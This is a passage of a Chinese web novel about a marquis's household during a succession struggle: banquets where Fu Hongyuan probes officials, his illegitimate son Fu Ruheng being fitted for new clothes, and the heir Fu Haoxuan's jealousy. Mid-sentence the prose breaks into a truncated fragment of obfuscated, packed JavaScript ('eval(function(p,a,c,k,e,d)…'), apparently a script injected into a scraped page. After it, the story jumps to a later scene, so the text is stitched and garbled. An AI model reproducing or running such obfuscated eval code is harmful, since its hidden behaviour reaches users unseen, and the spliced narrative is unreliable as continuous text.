这场宴会当中有权有势的人不少,若是能搭上线,那自己未来的路也有好走很多,毕竟再过几年,后面的人窜上来,他就更加没有机会了。 仅仅一个五品官,他也不甘心到此为止。 这种储位之争向来敏感,更何况他身处内阁,若是被皇帝知道了,很有可能会引来猜疑,所以哪怕内心有想法,大学士也没有表现出来,回答完傅鸿元的话之后就没有再继续下去。 他知道自己的优势在于所处的内阁消息灵通,但是侯府自然不会只有这一个消息渠道,这次交谈应该也只是初步试探,若是早早地就表现殷勤,反倒会让自己处在弱势。 傅鸿元怎么会不知道他的想法,他在心中冷笑一声。 “太子殿下早早进入内阁习练政务,足以见得陛下寄予厚望,倒也是江山社稷之福,我等做臣子的,唯有安心静候朝堂安定了。” 他话语之中绝口没有提二皇子,反倒让原本准备好说辞的大学士接不了话。 似乎这一趟过来只是为了打听这一件事,傅鸿元没有再继续相关话题,很快就离开了,原先倒满的酒杯也被遗漏在原地,杯中的液体甚至没有少一点。 就这样结束了? 大学士内心有些懊恼,早知道之前就多说一点,哪怕只是表现出自己的价值也好过这样草草结束。 傅鸿元的态度模糊不清,面上也没有明说,这段对话无可指摘,就算被别人听到也只会以为成侯爷关心一下未来局势,甚至在结尾还有支持太子一党的倾向。 大学士望见被随手放在桌子上的酒杯,心烦意乱,正打算叫来旁边的侍女收走,胳膊无意间碰到杯子,盛满琥珀色液体的酒杯原地晃动了一下,向旁边倾倒。 眼见着里面的酒将要洒出,大学士一惊,赶紧扶住。 就在这个时候,白瓷杯底下露出一角淡黄色。 45. 穿新衣 傅如珩的思绪还停留在上一个关于户部尚书的消息上,面对争储这种皇家秘闻反而兴致平平,这场宴会没有办到很晚,将近九点就散场了。 他原本想要将这个消息告诉盛秋阑,但是一方面事情还没有结果,不管现在怎么推测都还未成定数,如果提前说了反倒可能成了白欢喜一场,另一方面盛怀德作为户部侍郎,对于这种调任动静自然是比其他人更加清楚,也用不着他来告知。 反倒是傅皓轩成为了本次宴会反应最大的那个,知道傅鸿元单独带着傅如珩参加宴会之后,他就跑到了书房,早早等在那边。 两人一前一后回到府中的动静并没有遮掩,傅皓轩第一时间就得知了消息,望向傅如珩的眼神当中都带着火光。 自从之前盛秋阑教训过一顿之后,他就改换了战术,选择彻底将人无视,但这一次变故让他感觉到事情超出了控制,虽然觉得父亲还是最重视自己,却还是忍不住心中那一份不愿意承认的惶恐来质问。 一旁的贴身侍从拦了几次都没有成功,心惊胆战地等在一旁。 傅如珩早已经学会了无视这种眼神,哪怕傅皓轩眼睛已经要瞪出来了也无动于衷,反倒让他看起来像是自取其辱。 “你先回去吧。”傅鸿元对傅皓轩这种可以说是无理的行为没有表现出过多的情绪,淡淡地朝傅如珩一偏头。 傅如珩今天晚上跟着四处应酬,虽然得到了不少消息,但是因为要时刻保持得体的礼节,一刻都没有放松,精力也已经消耗得差不多。 他不想去管两个人之后要说什么,即使话题大概率是和自己有关,行完礼之后就回到了自己的院子当中。 今天晚上的宴会比较私密,只有傅鸿元身边跟了两个侍卫,他的贴身小厮被留在了房中。 他身边跟着的小厮换了好几轮,但无一例外都是别人挑剩下的,要么年龄较大,要么因为过于木讷被嫌弃,现在这位东顺就是因为其他人见他半天闷不出响所以才到了傅如珩身边。 不过傅如珩并不介意这一点,他本身就不是一个话多的,除了盛秋阑,他更愿意周边人清静一些。东顺除了话少和不够圆滑以外没有别的缺点,比他先前几个跟在身边另有心思的小厮好很多。 小厮住着的耳房刚好在院门旁边,一有响动就能够听见。 “少爷,水已经放好了。” 跟在傅如珩身边这么久,东顺已经知道了他的习惯,傅如珩回到房中之后一定会净身,他就提前准备好了热水。 “嗯。” 傅如珩洗完澡,身体上的疲惫在接触到床榻的时候席卷全身,来不及思考别的东西,很快就睡着了。 第二天,他换了一件衣服,照例坐在桌子面前看自己昨天没有看完的书,门外突然传来敲门声,打断了眼前的字句。 东顺知道这是他温习功课的时间,也知道他在看书的时候不喜欢被人打扰,如果没有别的要紧事不会突兀地敲门。 “怎么了?” “老爷刚刚让人来禀告少爷,今天晚上随他一起去赴宴。” 今晚? 傅如珩皱了皱眉,以往傅鸿元虽然有时候会去参加宴会,但是绝对没有这么频繁,况且次次带上他,这副样子倒像是有什么事情已经变得紧迫了,所以才不得不打破原先的安排。 他虽然不知道傅鸿元的具体打算,但是也能猜到是和太子与二皇子之间的斗争相关。现在看上去,太子党应该是比傅鸿元之前想象的还要难搞,不然不会如此着急。 只是两方之间的斗争对于他来说并不紧要,虽然他身上留着侯府的血脉,但是一方面不像傅皓轩一样是嫡子,另一方面他与两位皇子都没有见过面。即使傅鸿元是想要借助他来让别人产生盛家与他们侯府关系密切的现象,但是其他人也不是傻的,就算知道他和盛秋阑关系好,那也顶多是增加了一分考量,绝对没有如此大的分量可以左右站队。 “我知道了。” 即便心中有所疑虑,但是目前来看,他没有能力去违抗傅鸿元的要求,只能够听命。 等到了规定时间,傅如珩站在府门外的马车前等候,傅鸿元见到他,皱着眉头上下打量:“你就穿这身行头过去?” 与同等级别的少爷们相比,傅如珩身上穿着的衣服有些过于朴素了。即便衣服收拾得干净整洁,穿在身上也并不松垮,但终究只是成衣店里面买的普通样式,没有任何珠玉或是暗纹作为点缀,身上更是没有别的装饰物,唯有腰间有一条深绿色的腰封,上面挂着象征侯府的白玉佩。 “回父亲,如珩的衣服皆是如此,唯有颜色区别,并无特别置办。” 傅鸿元这才想起来昨天傅如珩身上穿的衣服也很简单,毕竟成衣店里面的衣服款式翻来覆去只有几种,挑不出太多花样,只不过被傅如珩的样貌和气质一衬,让人忽略了服饰上的简略。 已经快到约定的时间了,傅鸿元没有再让他回去换:“回去让人从库里挑几匹布料,做几套衣服。” 府中有固定的裁缝班子,每月特定时间都会来府中量体送衣服,其他人穿的也都是定制的衣裳。只是傅如珩在府中的身份尴尬,又在傅皓轩的带领下刻意忽略,这种事自然也没有他的份,傅鸿元先前知道这件事,但也没有去管,现在倒是特意提起来。 傅如珩脸上没有露出丝毫欣喜的表情:“谢父亲。” 虽然嘴上说的是感谢,但是配上这个表情,无端地让人觉得有些嘲讽。 傅鸿元面上有些撑不住,但是碍于傅如珩还有用,最终也没有发出去火:“走吧。” 这次的宴会形式与昨天的差不多,只不过参加的人变了一番。朝廷中能够光明正大拿来谈论的事情总归只有那么一些,得来的消息与昨日相差无几,但是傅鸿元却没有表现出失望,照旧与其他人交谈,介绍傅如珩的时候用的也是相同的措辞。 作为已经是明面上的二皇子党,就算傅鸿元没有提及相关的话题,其他人也心照不宣他的目的,更何况最近太子进入内阁的消息基本已经公之于众,傅鸿元内心肯定是着急的。 这些人心中门儿清,现在两位皇子都没有到而立之年,皇帝也没有退位的打算,顶多是两方在背地里下点绊子,还没有到争储的高潮时期。 即便今后可能会因为各种压力改变立场,但也不是现在,所以大多数人都处在观望的时期。虽然表面上言笑晏晏,但是一旦涉及到储位立场的话题,用词就变得模糊起来,大多用些官话打哈哈过去了。 作为人群暗中讨论的焦点,跟在傅鸿元身边的傅如珩自然也是获得了一番关注。 光是这个长相,在一进门的时候就有不少人暗中留意过,如今敷衍完侯爷,自然也需要一个新的话题来转移,于是顺理成章地放在了傅如珩身上。 “这位可是侯爷的令郎,瞧着有些面生,倒是相貌堂堂,一看就随了侯爷。” 毕竟刚刚的立场并不坚定,那人自知回答不会让人满意,但碍于侯爷的身份,自然是想要拐着弯不要将人得罪了,于是在夸傅如珩的功夫,还不忘暗暗捧了一句傅鸿元。 他笑着将夸人的话说出口,分了一丝心神来观察侯爷的表情。不知是不是他的错觉,傅鸿元在听到那句话的时候脸上好像冷了几分,但是等他再去看的时候,又恢复了原本的表情。 应该是错觉吧,毕竟傅如珩是傅鸿元亲自带过来的,如果不是看重他,怎么可能会带来与众人介绍,更何况就算另有目的,他夸的也只是样貌,怎么想都不会出错。 他在心中宽慰着自己,但还是没敢继续说下去,草草说了几句恭维的话就离开了。 两个人照例在晚上才回去,傅如珩一连两天去参加宴会,宴会上面的吃食虽然样式精美,味道也不错,但是在座的各位却没有多少是真正为了吃饭过去的,大家象征性地动了几下筷子就放下了,连带着他也不敢在这种情境下将心思放在吃饭上,只动了面前的几盘。 说不清楚是运气差还是怎么,一连两天,放在他面前的都是不爱吃的菜。虽然傅如珩不像盛秋阑那么挑剔,但是他望着这些菜式也没有多少胃口,等到回了房才感觉到腹中饥饿。 原先的困意被来势汹汹的饥饿打得七七八八,傅如珩本来想要睡觉,此时也不得不起来:“房中可有什么吃食?” 他很少在正餐以外的时间吃东西,即便现在正是身体快速发育的时候,同龄人的饭量增长了一倍,还时不时需要厨房开个小灶,傅如珩却从来没有提出加餐这件事。 东顺一开始没有反应过来,望见他皱着眉头的样子,才恍然思索了一番。 “先前我拿了两三块冷糕,少爷您要吗?” 冷糕是用糯米做成的,通体雪白,没有添加其他食材点缀,即便冷掉也不影响口味,保存时间要比其他糕点长,所以在寻常人家中很受欢迎,常常会多做一些存在屋中。 不过府中地位高的主子想要吃什么,传令一声后厨立马就能够做出来其他精致糕点,这种冷糕自然入不了他们的眼,大多被下人们分走了,东顺也跟在其他人中间拿了两块。 房中没有蜂蜜和红糖,单吃冷糕味道有点寡淡,但是傅如珩此时饿极了,自然也没有挑剔,两块冷糕下肚,终于不再感觉到难受。 “需要小的再在房中备些糕点吗?”东顺虽然与其他人相比没有那么八面玲珑,但是能够被选入侯府中,自然不是什么都不懂,见傅如珩这样,上道地问。 傅如珩不知道之后傅鸿元还会不会叫他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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没想到他刚一踏出院子,就见面前一道身影站在那,不知道停留了多久。对方身上的衣袍绣着金纹,只要是能戴东西的地方必然挂满了饰品,简直能将人晃瞎。 裁缝认清来人,连忙行礼:“世子殿下。” 傅皓轩看着他们从傅如珩的院子当中走出来,脸色不是很好看,但是也没有再像之前那样大吵大闹,唯有双手攥得很紧,几乎要将掌心掐出印来。 要不是父亲说现在留着傅如珩还有用,怎么可能会让他过得这么舒坦? 傅如珩来侯府这么久,身上穿的衣服却是成衣店里面买的,与其他家境好一点的平民没什么区别,这背后当然还是他特意“照顾”过的,为的就是让他时刻记着自己的身份差距。 现在父亲却专门开口要给他定衣服,凭什么? 傅皓轩胸口大幅度起伏了两下,想到那天晚上父亲的眼神,终于将心中的不满强压下去。 再等一段时间,等到傅如珩彻底没有了用处,就将这些东西全都烧了。 今天早上裁缝班子到府中的消息早已经传到了他的耳中,傅皓轩在自己的房里转了好几圈,终究是没有忍住,将自己这几年以来得来的所有贵重饰品全都穿在了身上,对着镜子照了半天,最后大摇大摆地假装随意路过。 傅如珩所住的地方在府中最偏的地方,与他的东苑是两个方向,如果不是特意找过来,他是绝对不会多看一眼的。以至于再次看到院子的时候,傅皓轩差点要以为自己走错了地方。 记忆当中偏僻荒凉的院子早已经变了个样,之前被他挖出来的坑被掩盖在茵茵草地之中,已经看不出残破丑陋之态。 虽然之前听说傅如珩的院子被修缮了一番,但是傅皓轩根本没有放在心上。 就那一块破院子,能变成什么样?顶多是将土松了松罢了。 他没想到所谓的修缮是整个院子都变了样,院子周围原本歪歪扭扭的栅栏都被换了一番,木头颜色甚至比府中其他地方还要更加新鲜,上面缠绕着藤蔓,将原本单调的木色遮盖住。 院子各处植被错落有致,像是专门设计过,现在正是盛夏,大多数花已经到了开得最盛的时候。 眼前被各种颜色填满,却一点都不会觉得杂乱,反而极其和谐,隐隐约约竟然感觉比他的东苑装饰得还要精心。 可明明……明明他的东苑比这个小破院子大了好几倍。 而且当初东苑是父亲花了大把银子专门找人来修建的,只有嫡子才有的待遇,怎么会比不过傅如珩呢?! 傅皓轩不可置信地揉了揉眼睛,重新将眼前的院子打量一遍,直到看到被众人簇拥在其中的身影之后,才不得不承认—— 他没有走错,这就是傅如珩的院子。